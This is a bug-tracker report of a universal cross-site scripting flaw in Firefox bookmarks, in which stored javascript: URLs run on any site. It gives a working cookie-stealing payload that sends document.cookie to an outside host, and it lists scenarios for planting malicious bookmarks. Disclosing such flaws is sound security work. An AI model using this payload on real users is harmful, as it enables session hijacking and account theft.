UXSS Bookmark Cookie Stealing
Categories
(Firefox :: Bookmarks & History, defect)
Tracking
()
| Tracking | Status | |
|---|---|---|
| firefox99 | --- | affected |
People
(Reporter: annubiis, Unassigned)
Details
Attachments
(2 files)
Author: Omar Salazar (a.k.a Taurs Omar)
Twitter: taurusomar_
Bug Bounty Hunter
Description:
The vulnerability allows a malicious payload to be added to the URL section of the bookmark that is executed anywhere in the browser by bypassing restrictions on Firefox script execution.
Vulnerability Class:
Universal Cross-Site Scripting
Severity Level
High
Exploitation Technique:
Local/Remote
Type:
The vulnerability in question is a UXSS, an attacker can add a malicious payload to the bookmark to steal session cookies from any site or redirect you to a fake phishing page.
Attack Vectors:
1.) This would affect if the user bookmarked a contaminated page.
2.) A malicious person takes the device and adds the malicious marker.
3.) Internet cafe with malicious bookmarks, stealing session cookies from customers.
4.) Malicious technical service, adding the marker with the payload.
Payload UXSS
javascript:alert("UXSS")
UXSS Cookie Stealing
javascript:document.location='https://cors.ur0.me/?c='+escape(document.cookie);
Attached 2 videos of attacks
uxss.mp4
cookieStealing.pm4
Attached 1 images of attacks
|
Reporter | |
Comment 1•3 years ago
|
||
|
||
Updated•3 years ago
|
Description
•